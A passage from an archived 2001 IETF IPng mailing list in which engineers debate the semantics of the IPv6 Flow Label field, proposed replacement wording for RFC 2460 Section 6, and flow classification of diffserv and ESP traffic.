07:29:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFTIZR021388 for ; Thu, 27 Dec 2001 07:29:19 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28092 for ; Thu, 27 Dec 2001 07:29:20 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA16874 for ; Thu, 27 Dec 2001 08:30:14 -0700 (MST) Received: from kenawang ([192.168.1.96]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id HAA10101 for ; Thu, 27 Dec 2001 07:28:15 -0800 (PST) Message-Id: <4.2.2.20011227101252.02012d00@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 27 Dec 2001 10:28:20 -0500 To: ipng@sunroof.eng.sun.com From: Margaret Wasserman Subject: Re: Flow Label In-Reply-To: <200112271502.fBRF2IP14581@newdev.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Are there any IPv6 router implementations that currently modify the flow label field in transit? If not, I could live with the minimal change that Scott has proposed below (in the nature of a "bug fix" to RFC 2460). Scott Bradner wrote: > The 20-bit Flow Label field in the IPv6 header MAY be set by a > source to uniquely label sets of packets. Nodes that do not support > the Flow Label field MUST set the field to zero when originating a > packet, and MUST ignore the field when receiving a packet. All routers > MUST pass the field on unchanged when forwarding a packet. I also agree that Appendix A should be removed (it is just wrong), but we should NOT attempt to replace it with something that is more right, given today's QoS mechanisms. RFC 2460 shouldn't say anything else on this subject. All other information should be handled in separate specifications (and WGs) including: - How flow label values are chosen - The meaning of flow label values - How flow labels are/aren't interpreted by intermediate routers and/or end-nodes - How flow labels can/can't be used to identify a single flow Does that work for everyone? Again, does anyone know of any current implementations that this would break? Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:35:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFZEZR021425 for ; Thu, 27 Dec 2001 07:35:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRFZEXC021424 for ipng-dist; Thu, 27 Dec 2001 07:35:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFZBZR021417 for ; Thu, 27 Dec 2001 07:35:11 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA27451 for ; Thu, 27 Dec 2001 07:35:12 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA18409 for ; Thu, 27 Dec 2001 08:36:06 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA09584; Thu, 27 Dec 2001 16:35:09 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA57384 from ; Thu, 27 Dec 2001 16:35:04 +0100 Message-Id: <3C2B3FA8.2B9C8CCB@hursley.ibm.com> Date: Thu, 27 Dec 2001 16:35:04 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> <87n1043dk4.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Perry E. Metzger" wrote: > > Brian E Carpenter writes: > > > and quantitative > > > information about how much better it will be for them to > > > have the flow > > > label than not to have it. > > > > Nobody is going to publish that sort of competitive data. As noted earlier, > > this is quite likely to be either qualitative (ability to classify ESP > > traffic) > > We can already classify ESP traffic. The SPI for a particular host to > host connection is externally visible likely unique for a given > flow in most applications. (The VPN case is a bit different but the > VPN case is, we hope, not the bulk of traffic in the future.) Sorry, the SPI is no good for diffserv classification because it has no semantics. > > We can also already label the individual packets according to > traffic class. No, because it's mutable. We need sonmeting that *isn't* mutable and *does* have semantics for classification. > > > or simply a matter of heat dissipation and the marginal cost of > > a chip set. > > Well, if it truly makes no difference, why are we advocating the change? I didn't say it makes no difference. I said that the difference is more likely to be in cost and waste heat than in speed. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:37:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFbqZR021451 for ; Thu, 27 Dec 2001 07:37:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRFbqOa021450 for ipng-dist; Thu, 27 Dec 2001 07:37:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFbmZR021440 for ; Thu, 27 Dec 2001 07:37:48 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA08005 for ; Thu, 27 Dec 2001 07:37:49 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA04892 for ; Thu, 27 Dec 2001 08:37:30 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA10144; Thu, 27 Dec 2001 16:37:46 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA38104 from ; Thu, 27 Dec 2001 16:37:45 +0100 Message-Id: <3C2B4049.C368B406@hursley.ibm.com> Date: Thu, 27 Dec 2001 16:37:45 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Subrata Goswami Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Subrata Goswami wrote: > > Both of the following example actually only tells you > how to set them, not how to use them and both are > optional. No, they tell you how to use them. A flow_spec is how intserv identifies flows; a classifier is how diffserv classifies packets. Yes they are both optional - like many enhancements. > > Given the fact that there are only 20 bits in the flow > label, then globally only 4K flows can be defined - is that > enough ? It's the 2uple {source address, flow label} or possibly the 3uple {source addr, destination addr, flow label} that has to be unique. Brian > > Subrata > > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Brian E Carpenter > Sent: Thursday, December 27, 2001 5:07 AM > To: Perry E. Metzger > Cc: Michael Thomas; ipng@sunroof.eng.sun.com > Subject: Re: Flow Label > > "Perry E. Metzger" wrote: > ... > > Repeating my earlier request: > > > > I'm an old fashioned kind of engineer. I'd like to see some folks > from > > router vendors give us precise information about the *exact* use > > they'll put the flow label information to, > > Here are the precise definitions the IETF has documented: > > 1) IPv6 Flow-label FILTER_SPEC object: Class = 10, C-Type = 3 > > [RFC 2205, page 87] > > 2) diffServMultiFieldClfrFlowId OBJECT-TYPE > SYNTAX Unsigned32 (0..1048575) > MAX-ACCESS read-create > STATUS current > DESCRIPTION > "The flow identifier in an IPv6 header." > ::= { diffServMultiFieldClfrEntry 8 } > > [draft-ietf-diffserv-mib-16.txt, approved as PS, page 52] > > but these will be largely ignored by implementors until RFC 2460 > is cleaned up. > > > and quantitative > > information about how much better it will be for them to have the > flow > > label than not to have it. > > Nobody is going to publish that sort of competitive data. As noted earlier, > this is quite likely to be either qualitative (ability to classify ESP > traffic) or simply a matter of heat dissipation and the marginal cost of > a chip set. > > Brian > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Distinguished Engineer, Internet Standards & Technology, IBM On assignment at the IBM Zurich Laboratory, Switzerland Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:43:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFhsZR021482 for ; Thu, 27 Dec 2001 07:43:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRFhsih021481 for ipng-dist; Thu, 27 Dec 2001 07:43:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFhpZR021474 for ; Thu, 27 Dec 2001 07:43:51 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA08582 for ; Thu, 27 Dec 2001 07:43:52 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA18154 for ; Thu, 27 Dec 2001 07:43:51 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA08680 for ; Thu, 27 Dec 2001 16:43:49 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA37922 from ; Thu, 27 Dec 2001 16:43:48 +0100 Message-Id: <3C2B41B4.2EF8D01B@hursley.ibm.com> Date: Thu, 27 Dec 2001 16:43:48 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> <878zbp8vh7.fsf@snark.piermont.com> <3C2B2103.1B167487@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Taking Scott's suggestion, here's another try: I'd like to propose the following as the complete and total replacement of Section 6 of RFC 2460. The 20-bit Flow Label field in the IPv6 header MAY be set by a source to uniquely label sets of packets. Nodes that do not support the Flow Label field MUST set the field to zero when originating a packet, and MUST ignore the field when receiving a packet. All routers MUST pass the field on unchanged when forwarding a packet. This specification does not further define the meaning of the Flow Label. [and delete Appendix A, which is unhelpful.] Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:47:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFlJZR021514 for ; Thu, 27 Dec 2001 07:47:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRFlJe7021513 for ipng-dist; Thu, 27 Dec 2001 07:47:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFlFZR021506 for ; Thu, 27 Dec 2001 07:47:15 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA29427 for ; Thu, 27 Dec 2001 07:47:14 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA18979 for ; Thu, 27 Dec 2001 08:47:09 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id 2297ED97C5; Thu, 27 Dec 2001 10:46:56 -0500 (EST) From: "Perry E. Metzger" To: Brian E Carpenter Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> <87n1043dk4.fsf@snark.piermont.com> <3C2B3FA8.2B9C8CCB@hursley.ibm.com> Date: 27 Dec 2001 10:46:55 -0500 In-Reply-To: <3C2B3FA8.2B9C8CCB@hursley.ibm.com> Message-ID: <87d7103btc.fsf@snark.piermont.com> Lines: 44 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter writes: > > We can already classify ESP traffic. The SPI for a particular host to > > host connection is externally visible likely unique for a given > > flow in most applications. (The VPN case is a bit different but the > > VPN case is, we hope, not the bulk of traffic in the future.) > > Sorry, the SPI is no good for diffserv classification > because it has no semantics. Neither does the flow label. Both are just a number that can be used to distinguish a bunch of traffic flowing between two hosts from other traffic flowing between two hosts. Neither has any semantics beyond that. > > We can also already label the individual packets according to > > traffic class. > > No, because it's mutable. We need sonmeting that *isn't* mutable > and *does* have semantics for classification. I am perhaps a bit thick, Brian, but all the flow label seems to indicate is that a host believes that a bunch of traffic going to another host is distinct from a bunch of other traffic by some mysterious criterion it has itself selected. Since we've imposed more or less no other implications in the draft (am I mistaken here?) it doesn't have particularly any semantics for classification there either. > > > or simply a matter of heat dissipation and the marginal cost of > > > a chip set. > > > > Well, if it truly makes no difference, why are we advocating the change? > > I didn't say it makes no difference. I said that the difference is more > likely to be in cost and waste heat than in speed. Given that the manufacturers who are doing this are already building the transistors in to walk the header chain... -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 08:09:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRG9cZR021548 for ; Thu, 27 Dec 2001 08:09:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRG9clR021547 for ipng-dist; Thu, 27 Dec 2001 08:09:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRG9YZR021540 for ; Thu, 27 Dec 2001 08:09:34 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA01583 for ; Thu, 27 Dec 2001 08:09:36 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA01963 for ; Thu, 27 Dec 2001 08:09:36 -0800 (PST) Received: from kenawang ([192.168.1.96]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id IAA17756; Thu, 27 Dec 2001 08:08:30 -0800 (PST) Message-Id: <4.2.2.20011227110707.01fc5100@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 27 Dec 2001 11:08:43 -0500 To: Brian E Carpenter From: Margaret Wasserman Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] Cc: ipng@sunroof.eng.sun.com In-Reply-To: <3C2B41B4.2EF8D01B@hursley.ibm.com> References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> <878zbp8vh7.fsf@snark.piermont.com> <3C2B2103.1B167487@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Actually, I would take out the word "uniquely". I am not sure that we want to confine possible QoS solutions to "uniquely" labeling anything. Margaret At 10:43 AM 12/27/01 , Brian E Carpenter wrote: >Taking Scott's suggestion, here's another try: > >I'd like to propose the following as the >complete and total replacement of Section 6 of RFC 2460. > > The 20-bit Flow Label field in the IPv6 header MAY be set by a > source to uniquely label sets of packets. Nodes that do not support > the Flow Label field MUST set the field to zero when originating a > packet, and MUST ignore the field when receiving a packet. All routers > MUST pass the field on unchanged when forwarding a packet. > > This specification does not further define the meaning of the > Flow Label. > > [and delete Appendix A, which is unhelpful.] > > Brian >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 08:21:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRGLBZR021590 for ; Thu, 27 Dec 2001 08:21:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRGLAA7021589 for ipng-dist; Thu, 27 Dec 2001 08:21:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRGL6ZR021582 for ; Thu, 27 Dec 2001 08:21:06 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20101 for ; Thu, 27 Dec 2001 08:21:08 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA27868 for ; Thu, 27 Dec 2001 08:21:07 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id 27AF4D97D3; Thu, 27 Dec 2001 11:21:05 -0500 (EST) From: "Perry E. Metzger" To: Brian E Carpenter Cc: Scott Bradner , kempf@docomolabs-usa.com, ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112261857.fBQIv8q12264@newdev.harvard.edu> <3C2B119E.4B39EBAC@hursley.ibm.com> Date: 27 Dec 2001 11:21:05 -0500 In-Reply-To: <3C2B119E.4B39EBAC@hursley.ibm.com> Message-ID: <87lmfozlam.fsf@snark.piermont.com> Lines: 22 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter writes: > Scott Bradner wrote: > > > The traffic field gives the classification. The flow label > > > could serve as a proxy for the port number and > > > protocol type, > > > > the whole point of class-based QoS is to not have to deal at the > > port and protocol level > > That's what I was getting at by saying that the flow label could > have better semantics than port/protocol, if we define it e2e. Except, absent inducing state in all routers end to end, the flow label would need to have semantics, not be an opaque token. If it had semantics, suddenly it becomes the same as the traffic field. -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 08:25:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRGP1ZR021619 for ; Thu, 27 Dec 2001 08:25:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRGP06v021618 for ipng-dist; Thu, 27 Dec 2001 08:25:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRGOvZR021611 for ; Thu, 27 Dec 2001 08:24:57 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA01183 for ; Thu, 27 Dec 2001 08:24:58 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA04932 for ; Thu, 27 Dec 2001 08:24:58 -0800 (PST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBRGOu414936; Thu, 27 Dec 2001 11:24:56 -0500 (EST) Date: Thu, 27 Dec 2001 11:24:56 -0500 (EST) From: Scott Bradner Message-Id: <200112271624.fBRGOu414936@newdev.harvard.edu> To: brian@hursley.ibm.com, perry@wasabisystems.com Subject: Re: Flow Label Cc: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > No, because it's mutable. We need sonmeting that *isn't* mutable > and *does* have semantics for classification. see previous note - I do not see a reason to think that an immutable field will actually be useful for QoS in teh real world Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 08:42:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRGgQZR021737 for ; Thu, 27 Dec 2001 08:42:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRGgQhH021736 for ipng-dist; Thu, 27 Dec 2001 08:42:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRGgLZR021726 for ; Thu, 27 Dec 2001 08:42:22 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04101 for ; Thu, 27 Dec 2001 08:42:23 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA08743 for ; Thu, 27 Dec 2001 08:42:23 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id 44E43D97C2; Thu, 27 Dec 2001 11:42:21 -0500 (EST) From: "Perry E. Metzger" To: ipng@sunroof.eng.sun.com Subject: opacity of ESP Date: 27 Dec 2001 11:42:21 -0500 Message-ID: <87u1ucy5qq.fsf@snark.piermont.com> Lines: 14 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk There is this myth going around that you can't distinguish ESP traffic by any external means, but that of course can't be true or you couldn't figure out which keys to use to decrypt the traffic. The SPI distinguishes the use of a particular keyset, and our usual dogma in the IPSEC world is that you should try to avoid re-using keys across flows, so in fact ESP traffic is not opaque for purposes of distinguishing flows. The SPI will generally represent a flow (except in the VPN case which has a myriad of its own problems.) -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:09:58 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRH9wZR021974 for ; Thu, 27 Dec 2001 09:09:58 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRH9wSl021973 for ipng-dist; Thu, 27 Dec 2001 09:09:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRH9tZR021966 for ; Thu, 27 Dec 2001 09:09:55 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25721 for ; Thu, 27 Dec 2001 09:09:57 -0800 (PST) Received: from changeofhabit.mr.itd.umich.edu 